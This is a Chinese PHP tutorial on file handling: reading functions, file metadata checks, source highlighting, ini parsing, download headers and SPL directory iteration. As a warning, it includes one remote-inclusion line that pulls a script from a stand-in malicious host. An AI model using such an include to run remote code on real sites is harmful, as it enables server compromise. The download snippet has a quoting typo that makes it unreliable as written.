6.文件操作

来源:互联网 发布:pyqt windows 编辑:程序博客网 时间:2024/06/12 07:54

1.文件操作的安全性

由于将文件暴露在Internet后,用户可以下载文件,如果允许通过URL识别文件和目录或从您的站点下载文件时一定要小心,因为如果文件中有include 命令,该命令可以用于从远程Web服务器上执行包含脚本。例如:include 'http://www.hack.com/bad_script.txt' ;

建议在php.ini中设置关闭这个功能。allow_url_fopen=off禁用fopen函数通过url打开远程文件。

 

2.读取本地文件的三种办法

1)将文件读入数组中,使用file()函数

2)将文件读入字符串,使用file_get_contents()函数

3)直接读取文件到屏幕,使用readfile()函数

 readfile是一种保护文件和带宽的便捷方法。通过一个使用readfile函数的脚本将您WEB站点中所有文件链接起来,能够防止其他站点直接链接到它们。这种方法使用技术通常被称为“反盗链”。

 

3.访问本地文件的有关信息

1)file_exists    用于检查文件是否存在

2)is_file    检查目标对象是文件还是目录

3)is_readable    用于检查文件是否可读

4)is_writable    用于检查文件是否可写

5)filemtime    用于检查文件上次修改的时间和日期

6)fileatime    用于检查文件上次访问的时间和日期

7)filesize    获取文件大小


4.如何在线显示PHP源码

PHP为显示代码提供了一个非常方便的函数:highlight_string,该函数使用php.ini中定义的格式以一种恰当的方式显示PHP代码。

另一种与highlight_string类似的函数highlight_file显示代码甚至更快一些,只需要将希望显示的文件名传递给它。


5.如何在文件中存储配置信息

最简单的存储配置信息的方法是在一个.ini文件中建立变量,然后使用parse_ini_file函数处理,该函数能够解析与php.ini相同格式的文件。


6.PHP管理文件下载

php处理下载的技巧是使用一些特殊的HTTP头和readfile函数:

<?php

$filename = 'example.ini';

$mineType = 'application/zip';

if(strpos($_SERVER['HTTP_USER_AGENT'],'MSIE 5)' or strpos($_SERVER['HTTP_USER_AGENT'],'Opera 7'))

{

    $mineType = 'application/x-download';

}


header('Content-Disposition:attachment;filename='.$filename);

header('Content-Type:'.$mineType);

header('Content-Length:'.filesize($filename));

readfile($filename);

?>

注:

Content-Disposition头通知浏览器将文件看做一个下载并为其提供文件名称。

Content-Type通知浏览器发送文件的类型。

Content-Length通知浏览器文件大小,这样浏览器就能显示一个下载进度条。


7.强烈推荐SPL(标准PHP库)

例如:使用DirectoryIterator类遍历文件目录,有时间一定要看看。


<?php 

$obj = new DirectoryIterator('./');

foreach ($obj as $key => $value) {

echo $value.'<br/>';

}

//查看该类的所有方法

foreach(get_class_methods('DirectoryIterator') as $methodName)

{

    echo $methodName.'<br/>';    

}

 ?>

原创粉丝点击